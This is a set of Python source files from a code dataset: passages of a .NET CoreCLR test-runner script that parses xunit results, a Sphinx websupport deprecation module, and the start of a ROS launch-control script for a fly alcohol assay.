None and coreclr_setup_args.test_location != normal_location: print("Error, msbuild currently expects tests in {} (got test_location {})".format(normal_location, coreclr_setup_args.test_location)) raise Exception("Error, msbuild currently expects tests in artifacts/tests/...") coreclr_setup_args.verify(args, "test_env", lambda arg: True, "Error setting test_env") coreclr_setup_args.verify(args, "analyze_results_only", lambda arg: True, "Error setting analyze_results_only") coreclr_setup_args.verify(args, "crossgen_altjit", lambda arg: True, "Error setting crossgen_altjit") coreclr_setup_args.verify(args, "rid", lambda arg: True, "Error setting rid") coreclr_setup_args.verify(args, "il_link", lambda arg: True, "Error setting il_link") coreclr_setup_args.verify(args, "long_gc", lambda arg: True, "Error setting long_gc") coreclr_setup_args.verify(args, "gcsimulator", lambda arg: True, "Error setting gcsimulator") coreclr_setup_args.verify(args, "ilasmroundtrip", lambda arg: True, "Error setting ilasmroundtrip") coreclr_setup_args.verify(args, "large_version_bubble", lambda arg: True, "Error setting large_version_bubble") coreclr_setup_args.verify(args, "run_crossgen_tests", lambda arg: True, "Error setting run_crossgen_tests") coreclr_setup_args.verify(args, "run_crossgen2_tests", lambda unused: True, "Error setting run_crossgen2_tests") coreclr_setup_args.verify(args, "precompile_core_root", lambda arg: True, "Error setting precompile_core_root") coreclr_setup_args.verify(args, "skip_test_run", lambda arg: True, "Error setting skip_test_run") coreclr_setup_args.verify(args, "sequential", lambda arg: True, "Error setting sequential") coreclr_setup_args.verify(args, "verbose", lambda arg: True, "Error setting verbose") coreclr_setup_args.verify(args, "limited_core_dumps", lambda arg: True, "Error setting limited_core_dumps") coreclr_setup_args.verify(args, "test_native_bin_location", lambda arg: True, "Error setting test_native_bin_location") coreclr_setup_args.verify(args, "run_in_context", lambda arg: True, "Error setting run_in_context") is_same_os = False is_same_arch = False is_same_build_type = False # We will write out build information into the test directory. This is used # by run.py to determine whether we need to rebuild the test wrappers. if os.path.isfile(os.path.join(coreclr_setup_args.test_location, "build_info.json")): with open(os.path.join(coreclr_setup_args.test_location, "build_info.json")) as file_handle: build_info = json.load(file_handle) is_same_os = build_info["build_os"] == coreclr_setup_args.host_os is_same_arch = build_info["build_arch"] == coreclr_setup_args.arch is_same_build_type = build_info["build_type"] == coreclr_setup_args.build_type if coreclr_setup_args.host_os != "windows" and not (is_same_os and is_same_arch and is_same_build_type): test_native_bin_location = None if args.test_native_bin_location is None: test_native_bin_location = os.path.join(os.path.join(coreclr_setup_args.artifacts_location, "tests", "coreclr", "obj", "%s.%s.%s" % (coreclr_setup_args.host_os, coreclr_setup_args.arch, coreclr_setup_args.build_type))) else: test_native_bin_location = args.test_native_bin_location coreclr_setup_args.verify(test_native_bin_location, "test_native_bin_location", lambda test_native_bin_location: os.path.isdir(test_native_bin_location), "Error setting test_native_bin_location") else: setattr(coreclr_setup_args, "test_native_bin_location", None) print("host_os : %s" % coreclr_setup_args.host_os) print("arch : %s" % coreclr_setup_args.arch) print("build_type : %s" % coreclr_setup_args.build_type) print("runtime_repo_location : %s" % coreclr_setup_args.runtime_repo_location) print("product_location : %s" % coreclr_setup_args.product_location) print("core_root : %s" % coreclr_setup_args.core_root) print("test_location : %s" % coreclr_setup_args.test_location) print("test_native_bin_location : %s" % coreclr_setup_args.test_native_bin_location) coreclr_setup_args.crossgen_path = os.path.join(coreclr_setup_args.core_root, "crossgen%s" % (".exe" if coreclr_setup_args.host_os == "windows" else "")) coreclr_setup_args.corerun_path = os.path.join(coreclr_setup_args.core_root, "corerun%s" % (".exe" if coreclr_setup_args.host_os == "windows" else "")) coreclr_setup_args.dotnetcli_script_path = os.path.join(coreclr_setup_args.runtime_repo_location, "dotnet%s" % (".cmd" if coreclr_setup_args.host_os == "windows" else ".sh")) coreclr_setup_args.coreclr_tests_dir = os.path.join(coreclr_setup_args.coreclr_dir, "tests") coreclr_setup_args.coreclr_tests_src_dir = os.path.join(coreclr_setup_args.runtime_repo_location, "src", "tests") coreclr_setup_args.runincontext_script_path = os.path.join(coreclr_setup_args.coreclr_tests_src_dir, "Common", "scripts", "runincontext%s" % (".cmd" if coreclr_setup_args.host_os == "windows" else ".sh")) coreclr_setup_args.logs_dir = os.path.join(coreclr_setup_args.artifacts_location, "log") return coreclr_setup_args def precompile_core_root(args): """ Precompile all of the assemblies in the core_root directory Args: args """ skip_list = [ ".*xunit.*", ".*api-ms-win-core.*", ".*api-ms-win.*", ".*System.Private.CoreLib.*" ] unix_skip_list = [ ".*mscorlib.*", ".*System.Runtime.WindowsRuntime.*", ".*System.Runtime.WindowsRuntime.UI.Xaml.*", ".*R2RDump.dll.*" ] arm64_unix_skip_list = [ ".*Microsoft.CodeAnalysis.VisualBasic.*", ".*System.Net.NameResolution.*", ".*System.Net.Sockets.*", ".*System.Net.Primitives.*" ] if args.host_os != "windows": skip_list += unix_skip_list if args.arch == "arm64": skip_list += arm64_unix_skip_list assert os.path.isdir(args.test_location) assert os.path.isdir(args.core_root) def call_crossgen(file, env): assert os.path.isfile(args.crossgen_path) command = [args.crossgen_path, "/Platform_Assemblies_Paths", args.core_root, file] proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) proc.communicate() return_code = proc.returncode if return_code == -2146230517: print("%s is not a managed assembly." % file) return False if return_code != 0: print("Unable to precompile %s (%d)" % (file, return_code)) return False print("Successfully precompiled %s" % file) return True print("Precompiling all assemblies in %s" % args.core_root) print("") env = os.environ.copy() if not args.crossgen_altjit is None: env["COMPlus_AltJit"]="*" env["COMPlus_AltJitNgen"]="*" env["COMPlus_AltJitName"]=args.crossgen_altjit env["COMPlus_AltJitAssertOnNYI"]="1" env["COMPlus_NoGuiOnAssert"]="1" env["COMPlus_ContinueOnAssert"]="0" dlls = [os.path.join(args.core_root, item) for item in os.listdir(args.core_root) if item.endswith("dll") and "mscorlib" not in item] def in_skip_list(item): found = False for skip_re in skip_list: if re.match(skip_re, item.lower()) is not None: found = True return found dlls = [dll for dll in dlls if not in_skip_list(dll)] for dll in dlls: call_crossgen(dll, env) print("") if sys.version_info.major < 3: def to_unicode(s): return unicode(s, "utf-8") else: def to_unicode(s): return s def find_test_from_name(host_os, test_location, test_name): """ Given a test's name return the location on disk Args: host_os (str) : os test_location (str) :path to the coreclr tests test_name (str) : Name of the test, all special characters will have : been replaced with underscores. Return: test_path (str): Path of the test based on its name """ location = test_name # Lambdas and helpers is_file_or_dir = lambda path : os.path.isdir(path) or os.path.isfile(path) def match_filename(test_path): # Scan through the test directory looking for a similar # file global file_name_cache if not os.path.isdir(os.path.dirname(test_path)): pass assert os.path.isdir(os.path.dirname(test_path)) size_of_largest_name_file = 0 dir_contents = file_name_cache[os.path.dirname(test_path)] if dir_contents is None: dir_contents = defaultdict(lambda: None) for item in os.listdir(os.path.dirname(test_path)): dir_contents[re.sub("[%s]" % string.punctuation, "_", item)] = item file_name_cache[os.path.dirname(test_path)] = dir_contents # It is possible there has already been a match # therefore we need to remove the punctuation again. basename_to_match = re.sub("[%s]" % string.punctuation, "_", os.path.basename(test_path)) if basename_to_match in dir_contents: test_path = os.path.join(os.path.dirname(test_path), dir_contents[basename_to_match]) size_of_largest_name_file = len(max(dir_contents, key=len)) return test_path, size_of_largest_name_file def dir_has_nested_substrings(test_path, test_item): """ A directory has multiple paths where one path is a substring of another """ dir_contents = file_name_cache[os.path.dirname(test_path)] if dir_contents is None: dir_contents = defaultdict(lambda: None) for item in os.listdir(os.path.dirname(test_path)): dir_contents[re.sub("[%s]" % string.punctuation, "_", item)] = item file_name_cache[os.path.dirname(test_path)] = dir_contents test_item = re.sub("[%s]" % string.punctuation, "_", test_item) count = 0 for item in dir_contents: if test_item in item: count += 1 return count > 1 # Find the test by searching down the directory list. starting_path = test_location loc_split = location.split("_") append = False for index, item in enumerate(loc_split): if not append: test_path = os.path.join(starting_path, item) else: append = False test_path, size_of_largest_name_file = match_filename(starting_path + "_" + item) if not is_file_or_dir(test_path): append = True # It is possible that there is another directory that is named # without an underscore. elif index + 1 < len(loc_split) and os.path.isdir(test_path): next_test_path = os.path.join(test_path, loc_split[index + 1]) if not is_file_or_dir(next_test_path) or dir_has_nested_substrings(test_path, item): added_path = test_path for forward_index in range(index + 1, len(loc_split)): added_path, size_of_largest_name_file = match_filename(added_path + "_" + loc_split[forward_index]) if is_file_or_dir(added_path): append = True break elif size_of_largest_name_file < len(os.path.basename(added_path)): break starting_path = test_path location = starting_path if not os.path.isfile(location): print("Warning: couldn't find test: %s" % test_name) return None assert(os.path.isfile(location)) return location def parse_test_results(args): """ Parse the test results for test execution information Args: args : arguments """ log_path = os.path.join(args.logs_dir, "TestRunResults_%s_%s_%s" % (args.host_os, args.arch, args.build_type)) print("Parsing test results from (%s)" % log_path) test_run_location = os.path.join(args.logs_dir, "testRun.xml") if not os.path.isfile(test_run_location): # Check if this is a casing issue found = False for item in os.listdir(args.logs_dir): item_lower = item.lower() if item_lower == "testrun.xml": # Correct the name. os.rename(os.path.join(args.logs_dir, item), test_run_location) found = True break if not found: print("Unable to find testRun.xml. This normally means the tests did not run.") print("It could also mean there was a problem logging. Please run the tests again.") return print("Analyzing {}".format(test_run_location)) assemblies = xml.etree.ElementTree.parse(test_run_location).getroot() tests = defaultdict(lambda: None) for assembly in assemblies: for collection in assembly: if collection.tag == "errors" and collection.text != None: # Something went wrong during running the tests. print("Error running the tests, please run run.py again.") sys.exit(1) elif collection.tag != "errors": test_name = None for test in collection: type = test.attrib["type"] method = test.attrib["method"] type = type.split("._")[0] test_name = type + method assert test_name != None failed = collection.attrib["failed"] skipped = collection.attrib["skipped"] passed = collection.attrib["passed"] time = float(collection.attrib["time"]) test_output = None if failed == "1": failure_info = collection[0][0] test_output = failure_info.text test_location_on_filesystem = find_test_from_name(args.host_os, args.test_location, test_name) if test_location_on_filesystem is not None: assert os.path.isfile(test_location_on_filesystem) assert tests[test_name] == None tests[test_name] = defaultdict(lambda: None, { "name": test_name, "test_path": test_location_on_filesystem, "failed": failed, "skipped": skipped, "passed": passed, "time": time, "test_output": test_output }) return tests def print_summary(tests): """ Print a summary of the test results Args: tests (defaultdict[String]: { }): The tests that were reported by : xunit """ assert tests is not None failed_tests = [] passed_tests = [] skipped_tests = [] for test in tests: test = tests[test] if test["failed"] == "1": failed_tests.append(test) elif test["passed"] == "1": passed_tests.append(test) else: skipped_tests.append(test) failed_tests.sort(key=lambda item: item["time"], reverse=True) passed_tests.sort(key=lambda item: item["time"], reverse=True) skipped_tests.sort(key=lambda item: item["time"], reverse=True) def print_tests_helper(tests, stop_count): for index, item in enumerate(tests): time = item["time"] unit = "seconds" time_remainder = "" second_unit = "" saved_time = time remainder_str = "" # If it can be expressed in hours if time > 60**2: time = saved_time / (60**2) time_remainder = saved_time % (60**2) time_remainder /= 60 time_remainder = math.floor(time_remainder) unit = "hours" second_unit = "minutes" remainder_str = " %s %s" % (int(time_remainder), second_unit) elif time > 60 and time < 60**2: time = saved_time / 60 time_remainder = saved_time % 60 time_remainder = math.floor(time_remainder) unit = "minutes" second_unit = "seconds" remainder_str = " %s %s" % (int(time_remainder), second_unit) print("%s (%d %s%s)" % (item["test_path"], time, unit, remainder_str)) if stop_count != None: if index >= stop_count: break if len(failed_tests) > 0: print("%d failed tests:" % len(failed_tests)) print("") print_tests_helper(failed_tests, None) # The following code is currently disabled, as it produces too much verbosity in a normal # test run. It could be put under a switch, or else just enabled as needed when investigating # test slowness. # # if len(passed_tests) > 50: # print("") # print("50 slowest passing tests:") # print("") # print_tests_helper(passed_tests, 50) if len(failed_tests) > 0: print("") print("#################################################################") print("Output of failing tests:") print("") for item in failed_tests: print("[%s]: " % item["test_path"]) print("") test_output = item["test_output"] # XUnit results are captured as escaped characters. #test_output = test_output.replace("\\r", "\r") #test_output = test_output.replace("\\n", "\n") #test_output = test_output.replace("/r", "\r") #test_output = test_output.replace("/n", "\n") # Replace CR/LF by just LF; Python "print", below, will map as necessary on the platform. # If we don't do this, then Python on Windows will convert \r\n to \r\r\n on output. test_output = test_output.replace("\r\n", "\n") unicode_output = None if sys.version_info < (3,0): # Handle unicode characters in output in python2.* try: unicode_output = unicode(test_output, "utf-8") except: print("Error: failed to convert Unicode output") else: unicode_output = test_output if unicode_output is not None: print(unicode_output) print("") print("") print("#################################################################") print("End of output of failing tests") print("#################################################################") print("") print("") print("Total tests run : %d" % len(tests)) print("Total passing tests: %d" % len(passed_tests)) print("Total failed tests : %d" % len(failed_tests)) print("Total skipped tests: %d" % len(skipped_tests)) print("") def create_repro(args, env, tests): """ Go through the failing tests and create repros for them Args: args env tests (defaultdict[String]: { }): The tests that were reported by : xunit """ assert tests is not None failed_tests = [tests[item] for item in tests if tests[item]["failed"] == "1"] if len(failed_tests) == 0: return repro_location = os.path.join(args.artifacts_location, "repro", "%s.%s.%s" % (args.host_os, args.arch, args.build_type)) if os.path.isdir(repro_location): shutil.rmtree(repro_location) print("") print("Creating repro files at: %s" % repro_location) os.makedirs(repro_location) assert os.path.isdir(repro_location) # Now that the repro_location exists under <runtime>/artifacts/repro # create wrappers which will simply run the test with the correct environment for test in failed_tests: debug_env = DebugEnv(args, env, test) debug_env.write_repro() print("Repro files written.") ################################################################################ # Main ################################################################################ def main(args): global g_verbose g_verbose = args.verbose ret_code = 0 args = setup_args(args) env = get_environment(test_env=args.test_env) if not args.analyze_results_only: if args.test_env is not None: ret_code = run_tests(args, args.test_env) else: ret_code = create_and_use_test_env(args.host_os, env, lambda test_env_script_path: run_tests(args, test_env_script_path)) print("Test run finished.") if not args.skip_test_run: tests = parse_test_results(args) if tests is not None: print_summary(tests) create_repro(args, env, tests) return ret_code ################################################################################ # __main__ ################################################################################ if __name__ == "__main__": args = parser.parse_args() sys.exit(main(args))

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This requires all tests run on linux x64 to be built by the # same platform and arch. If this is not done, the tests will run correctly; # however, expect failures due to incorrect exclusions in the xunit # wrappers setup at build time. # # Note that for linux targets the native components to the tests are still built # by the product build. This requires all native components to be either copied # into the Core_Root directory or the test's managed directory. The latter is ontext") is_same_os = False is_same_arch = False is_same_build_type = False if os.path.isfile(os.path.join(coreclr_setup_args.test_location, "build_info.json")): with open(os.path.join(coreclr_setup_args.test_location, "build_info.json")) as file_handle: build_info = json.load(file_handle) is_same_os = build_info["build_os"] == coreclr_setup_args.host_os is_same_arch = build_info["build_arch"] == coreclr_setup_args.arch is_same_build_type = build_info["build_type"] == coreclr_setup_args.build_type if coreclr_setup_args.host_os != "windows" and not (is_same_os and is_same_arch and is_same_build_type): test_native_bin_location = None if args.test_native_bin_location is None: test_native_bin_location = os.path.join(os.path.join(coreclr_setup_args.artifacts_location, "tests", "coreclr", "obj", "%s.%s.%s" % (coreclr_setup_args.host_os, coreclr_setup_args.arch, coreclr_setup_args.build_type))) else: test_native_bin_location = args.test_native_bin_location coreclr_setup_args.verify(test_native_bin_location, "test_native_bin_location", lambda test_native_bin_location: os.path.isdir(test_native_bin_location), "Error setting test_native_bin_location") else: setattr(coreclr_setup_args, "test_native_bin_location", None) print("host_os : %s" % coreclr_setup_args.host_os) print("arch : %s" % coreclr_setup_args.arch) print("build_type : %s" % coreclr_setup_args.build_type) print("runtime_repo_location : %s" % coreclr_setup_args.runtime_repo_location) print("product_location : %s" % coreclr_setup_args.product_location) print("core_root : %s" % coreclr_setup_args.core_root) print("test_location : %s" % coreclr_setup_args.test_location) print("test_native_bin_location : %s" % coreclr_setup_args.test_native_bin_location) coreclr_setup_args.crossgen_path = os.path.join(coreclr_setup_args.core_root, "crossgen%s" % (".exe" if coreclr_setup_args.host_os == "windows" else "")) coreclr_setup_args.corerun_path = os.path.join(coreclr_setup_args.core_root, "corerun%s" % (".exe" if coreclr_setup_args.host_os == "windows" else "")) coreclr_setup_args.dotnetcli_script_path = os.path.join(coreclr_setup_args.runtime_repo_location, "dotnet%s" % (".cmd" if coreclr_setup_args.host_os == "windows" else ".sh")) coreclr_setup_args.coreclr_tests_dir = os.path.join(coreclr_setup_args.coreclr_dir, "tests") coreclr_setup_args.coreclr_tests_src_dir = os.path.join(coreclr_setup_args.runtime_repo_location, "src", "tests") coreclr_setup_args.runincontext_script_path = os.path.join(coreclr_setup_args.coreclr_tests_src_dir, "Common", "scripts", "runincontext%s" % (".cmd" if coreclr_setup_args.host_os == "windows" else ".sh")) coreclr_setup_args.logs_dir = os.path.join(coreclr_setup_args.artifacts_location, "log") return coreclr_setup_args def precompile_core_root(args): skip_list = [ ".*xunit.*", ".*api-ms-win-core.*", ".*api-ms-win.*", ".*System.Private.CoreLib.*" ] unix_skip_list = [ ".*mscorlib.*", ".*System.Runtime.WindowsRuntime.*", ".*System.Runtime.WindowsRuntime.UI.Xaml.*", ".*R2RDump.dll.*" ] arm64_unix_skip_list = [ ".*Microsoft.CodeAnalysis.VisualBasic.*", ".*System.Net.NameResolution.*", ".*System.Net.Sockets.*", ".*System.Net.Primitives.*" ] if args.host_os != "windows": skip_list += unix_skip_list if args.arch == "arm64": skip_list += arm64_unix_skip_list assert os.path.isdir(args.test_location) assert os.path.isdir(args.core_root) def call_crossgen(file, env): assert os.path.isfile(args.crossgen_path) command = [args.crossgen_path, "/Platform_Assemblies_Paths", args.core_root, file] proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) proc.communicate() return_code = proc.returncode if return_code == -2146230517: print("%s is not a managed assembly." % file) return False if return_code != 0: print("Unable to precompile %s (%d)" % (file, return_code)) return False print("Successfully precompiled %s" % file) return True print("Precompiling all assemblies in %s" % args.core_root) print("") env = os.environ.copy() if not args.crossgen_altjit is None: env["COMPlus_AltJit"]="*" env["COMPlus_AltJitNgen"]="*" env["COMPlus_AltJitName"]=args.crossgen_altjit env["COMPlus_AltJitAssertOnNYI"]="1" env["COMPlus_NoGuiOnAssert"]="1" env["COMPlus_ContinueOnAssert"]="0" dlls = [os.path.join(args.core_root, item) for item in os.listdir(args.core_root) if item.endswith("dll") and "mscorlib" not in item] def in_skip_list(item): found = False for skip_re in skip_list: if re.match(skip_re, item.lower()) is not None: found = True return found dlls = [dll for dll in dlls if not in_skip_list(dll)] for dll in dlls: call_crossgen(dll, env) print("") if sys.version_info.major < 3: def to_unicode(s): return unicode(s, "utf-8") else: def to_unicode(s): return s def find_test_from_name(host_os, test_location, test_name): location = test_name is_file_or_dir = lambda path : os.path.isdir(path) or os.path.isfile(path) def match_filename(test_path): global file_name_cache if not os.path.isdir(os.path.dirname(test_path)): pass assert os.path.isdir(os.path.dirname(test_path)) size_of_largest_name_file = 0 dir_contents = file_name_cache[os.path.dirname(test_path)] if dir_contents is None: dir_contents = defaultdict(lambda: None) for item in os.listdir(os.path.dirname(test_path)): dir_contents[re.sub("[%s]" % string.punctuation, "_", item)] = item file_name_cache[os.path.dirname(test_path)] = dir_contents basename_to_match = re.sub("[%s]" % string.punctuation, "_", os.path.basename(test_path)) if basename_to_match in dir_contents: test_path = os.path.join(os.path.dirname(test_path), dir_contents[basename_to_match]) size_of_largest_name_file = len(max(dir_contents, key=len)) return test_path, size_of_largest_name_file def dir_has_nested_substrings(test_path, test_item): dir_contents = file_name_cache[os.path.dirname(test_path)] if dir_contents is None: dir_contents = defaultdict(lambda: None) for item in os.listdir(os.path.dirname(test_path)): dir_contents[re.sub("[%s]" % string.punctuation, "_", item)] = item file_name_cache[os.path.dirname(test_path)] = dir_contents test_item = re.sub("[%s]" % string.punctuation, "_", test_item) count = 0 for item in dir_contents: if test_item in item: count += 1 return count > 1 starting_path = test_location loc_split = location.split("_") append = False for index, item in enumerate(loc_split): if not append: test_path = os.path.join(starting_path, item) else: append = False test_path, size_of_largest_name_file = match_filename(starting_path + "_" + item) if not is_file_or_dir(test_path): append = True elif index + 1 < len(loc_split) and os.path.isdir(test_path): next_test_path = os.path.join(test_path, loc_split[index + 1]) if not is_file_or_dir(next_test_path) or dir_has_nested_substrings(test_path, item): added_path = test_path for forward_index in range(index + 1, len(loc_split)): added_path, size_of_largest_name_file = match_filename(added_path + "_" + loc_split[forward_index]) if is_file_or_dir(added_path): append = True break elif size_of_largest_name_file < len(os.path.basename(added_path)): break starting_path = test_path location = starting_path if not os.path.isfile(location): print("Warning: couldn't find test: %s" % test_name) return None assert(os.path.isfile(location)) return location def parse_test_results(args): log_path = os.path.join(args.logs_dir, "TestRunResults_%s_%s_%s" % (args.host_os, args.arch, args.build_type)) print("Parsing test results from (%s)" % log_path) test_run_location = os.path.join(args.logs_dir, "testRun.xml") if not os.path.isfile(test_run_location): # Check if this is a casing issue found = False for item in os.listdir(args.logs_dir): item_lower = item.lower() if item_lower == "testrun.xml": # Correct the name. os.rename(os.path.join(args.logs_dir, item), test_run_location) found = True break if not found: print("Unable to find testRun.xml. This normally means the tests did not run.") print("It could also mean there was a problem logging. Please run the tests again.") return print("Analyzing {}".format(test_run_location)) assemblies = xml.etree.ElementTree.parse(test_run_location).getroot() tests = defaultdict(lambda: None) for assembly in assemblies: for collection in assembly: if collection.tag == "errors" and collection.text != None: # Something went wrong during running the tests. print("Error running the tests, please run run.py again.") sys.exit(1) elif collection.tag != "errors": test_name = None for test in collection: type = test.attrib["type"] method = test.attrib["method"] type = type.split("._")[0] test_name = type + method assert test_name != None failed = collection.attrib["failed"] skipped = collection.attrib["skipped"] passed = collection.attrib["passed"] time = float(collection.attrib["time"]) test_output = None if failed == "1": failure_info = collection[0][0] test_output = failure_info.text test_location_on_filesystem = find_test_from_name(args.host_os, args.test_location, test_name) if test_location_on_filesystem is not None: assert os.path.isfile(test_location_on_filesystem) assert tests[test_name] == None tests[test_name] = defaultdict(lambda: None, { "name": test_name, "test_path": test_location_on_filesystem, "failed": failed, "skipped": skipped, "passed": passed, "time": time, "test_output": test_output }) return tests def print_summary(tests): assert tests is not None failed_tests = [] passed_tests = [] skipped_tests = [] for test in tests: test = tests[test] if test["failed"] == "1": failed_tests.append(test) elif test["passed"] == "1": passed_tests.append(test) else: skipped_tests.append(test) failed_tests.sort(key=lambda item: item["time"], reverse=True) passed_tests.sort(key=lambda item: item["time"], reverse=True) skipped_tests.sort(key=lambda item: item["time"], reverse=True) def print_tests_helper(tests, stop_count): for index, item in enumerate(tests): time = item["time"] unit = "seconds" time_remainder = "" second_unit = "" saved_time = time remainder_str = "" # If it can be expressed in hours if time > 60**2: time = saved_time / (60**2) time_remainder = saved_time % (60**2) time_remainder /= 60 time_remainder = math.floor(time_remainder) unit = "hours" second_unit = "minutes" remainder_str = " %s %s" % (int(time_remainder), second_unit) elif time > 60 and time < 60**2: time = saved_time / 60 time_remainder = saved_time % 60 time_remainder = math.floor(time_remainder) unit = "minutes" second_unit = "seconds" remainder_str = " %s %s" % (int(time_remainder), second_unit) print("%s (%d %s%s)" % (item["test_path"], time, unit, remainder_str)) if stop_count != None: if index >= stop_count: break if len(failed_tests) > 0: print("%d failed tests:" % len(failed_tests)) print("") print_tests_helper(failed_tests, None) # The following code is currently disabled, as it produces too much verbosity in a normal # test run. It could be put under a switch, or else just enabled as needed when investigating # test slowness. # # if len(passed_tests) > 50: # print("") # print("50 slowest passing tests:") # print("") # print_tests_helper(passed_tests, 50) if len(failed_tests) > 0: print("") print("#################################################################") print("Output of failing tests:") print("") for item in failed_tests: print("[%s]: " % item["test_path"]) print("") test_output = item["test_output"] # XUnit results are captured as escaped characters. #test_output = test_output.replace("\\r", "\r") #test_output = test_output.replace("\\n", "\n") #test_output = test_output.replace("/r", "\r") #test_output = test_output.replace("/n", "\n") # Replace CR/LF by just LF; Python "print", below, will map as necessary on the platform. # If we don't do this, then Python on Windows will convert \r\n to \r\r\n on output. test_output = test_output.replace("\r\n", "\n") unicode_output = None if sys.version_info < (3,0): try: unicode_output = unicode(test_output, "utf-8") except: print("Error: failed to convert Unicode output") else: unicode_output = test_output if unicode_output is not None: print(unicode_output) print("") print("") print("#################################################################") print("End of output of failing tests") print("#################################################################") print("") print("") print("Total tests run : %d" % len(tests)) print("Total passing tests: %d" % len(passed_tests)) print("Total failed tests : %d" % len(failed_tests)) print("Total skipped tests: %d" % len(skipped_tests)) print("") def create_repro(args, env, tests): assert tests is not None failed_tests = [tests[item] for item in tests if tests[item]["failed"] == "1"] if len(failed_tests) == 0: return repro_location = os.path.join(args.artifacts_location, "repro", "%s.%s.%s" % (args.host_os, args.arch, args.build_type)) if os.path.isdir(repro_location): shutil.rmtree(repro_location) print("") print("Creating repro files at: %s" % repro_location) os.makedirs(repro_location) assert os.path.isdir(repro_location) for test in failed_tests: debug_env = DebugEnv(args, env, test) debug_env.write_repro() print("Repro files written.")

true

f71034708fa8005df0436c0f212fae7a6821a4c0

1,015

py

Python

sphinx/websupport/__init__.py

hason/sphinx

5cd0f235a891de80b637c20e0d90fd916cc68a86

[ "BSD-2-Clause" ]

null

sphinx/websupport/__init__.py

hason/sphinx

5cd0f235a891de80b637c20e0d90fd916cc68a86

[ "BSD-2-Clause" ]

null

sphinx/websupport/__init__.py

hason/sphinx

5cd0f235a891de80b637c20e0d90fd916cc68a86

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- """ sphinx.websupport ~~~~~~~~~~~~~~~~~ Base Module for web support functions. :copyright: Copyright 2007-2017 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import warnings from sphinx.deprecation import RemovedInSphinx20Warning try: from sphinxcontrib.websupport import WebSupport # NOQA from sphinxcontrib.websupport import errors # NOQA from sphinxcontrib.websupport.search import BaseSearch, SEARCH_ADAPTERS # NOQA from sphinxcontrib.websupport.storage import StorageBackend # NOQA warnings.warn('sphinx.websupport module is now provided as sphinxcontrib-webuspport. ' 'sphinx.websupport will be removed in Sphinx-2.0. Please use it instaed', RemovedInSphinx20Warning) except ImportError: warnings.warn('Since Sphinx-1.6, sphinx.websupport module is now separated to ' 'sphinxcontrib-webuspport package. Please add it into your dependency list.')

36.25

95

0.708374

import warnings from sphinx.deprecation import RemovedInSphinx20Warning try: from sphinxcontrib.websupport import WebSupport from sphinxcontrib.websupport import errors from sphinxcontrib.websupport.search import BaseSearch, SEARCH_ADAPTERS from sphinxcontrib.websupport.storage import StorageBackend warnings.warn('sphinx.websupport module is now provided as sphinxcontrib-webuspport. ' 'sphinx.websupport will be removed in Sphinx-2.0. Please use it instaed', RemovedInSphinx20Warning) except ImportError: warnings.warn('Since Sphinx-1.6, sphinx.websupport module is now separated to ' 'sphinxcontrib-webuspport package. Please add it into your dependency list.')

true

f71034b281252754f23f61cc8d343b1177404fdc

5,670

py

Python

faa_computer_admin/src/faa_computer_admin/control.py

njmei/fly-alcohol-assay

a3efc40e5ed5d48ed3a80e4b162e13736b0e04cc

[ "BSD-3-Clause" ]

null

faa_computer_admin/src/faa_computer_admin/control.py

njmei/fly-alcohol-assay

a3efc40e5ed5d48ed3a80e4b162e13736b0e04cc

[ "BSD-3-Clause" ]

null

faa_computer_admin/src/faa_computer_admin/control.py

njmei/fly-alcohol-assay

a3efc40e5ed5d48ed3a80e4b162e13736b0e04cc

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python from __future__ import print_function import roslib roslib.load_manifest('faa_computer_admin') import rospy import argparse import subprocess from faa_utilities import FindData from faa_data_processing import TrackingDataProcessor from faa_data_processing import VideoDataProcessor from faa_data_processing import FigureDataProcessor def process(path_list,overwrite,tracking,video,figure): """ Process data """ fd = FindData(overwrite) path = path_list[0] if not tracking and not video and not figure: tracking = True video = True figure = True if figure and not tracking: tracking = True if tracking: contains_data = fd.path_contains_tracking_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain tracking data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain tracking data, or tracking data has already been processed.") print("Try -o overwrite switch to reprocess data.") tdp = TrackingDataProcessor(overwrite) tdp.find_and_process_data(path) if video: contains_data = fd.path_contains_video_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain video data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain video data, or video data has already been processed.") print("Try -o overwrite switch to reprocess data.") vdp = VideoDataProcessor(overwrite) vdp.find_and_process_data(path) if figure: contains_data = fd.path_contains_figure_data(path) if not contains_data and overwrite: print("Path does not exist or does not contain figure data.") elif not contains_data and not overwrite: print("Path does not exist, does not contain figure data, or figure data has already been processed.") print("Try -o overwrite switch to reprocess data.") fdp = FigureDataProcessor(overwrite) fdp.find_and_process_data(path) def calibrate(): """ Starts the camera calibration application """ _roslaunch('calibrate_camera.launch') def experiment(no_usb_hardware): """ Starts the experiment mode application """ if no_usb_hardware: print("Running in test mode with no USB hardware attached.") options = {'hardware': "false"} else: print("USB hardware attached!") options = {'hardware': "true"} reuse_background_images = False if reuse_background_images: print("Reusing background images.") options['reusing_bg_images'] = "true" else: options['reusing_bg_images'] = "false" _roslaunch('experiment.launch',options) def manual(no_usb_hardware): """ Starts the manual mode application """ if no_usb_hardware: print("Running in test mode with no USB hardware attached.") options = {'hardware': "false"} else: print("USB hardware attached!") options = {'hardware': "true"} _roslaunch('manual_control.launch',options) def save_images(): """ Starts the save images application """ options = {} _roslaunch('save_images.launch',options) def _roslaunch(launch_file,options={}): """ Runs a roslaunch file. """ try: call_list = ['roslaunch', 'faa_launch', launch_file] for option in options: call_list.append(option + ":=" + str(options[option])) subprocess.call(call_list) except KeyboardInterrupt: return def cli(): parser = argparse.ArgumentParser(description='Fly Alcohol Assay Control') # parser.add_argument('-t','--test',action="store_true", # help='launch test.launch') parser.add_argument('-c','--calibrate',action="store_true", help='launch calibrate_camera.launch') parser.add_argument('-e','--experiment',action="store_true", default=True, help='launch experiment.launch') parser.add_argument('-n','--no-usb-hardware',action="store_true", help='set testing mode when USB hardware is not attached') parser.add_argument('-p','--process',dest='process_path',nargs=1,default=False, help='process data within directory') parser.add_argument('-o','--overwrite',action="store_true", default=False, help='reprocess data and overwrite processed data files') parser.add_argument('-t','--tracking',action="store_true", default=False, help='process tracking data') parser.add_argument('-v','--video',action="store_true", default=False, help='process videos') 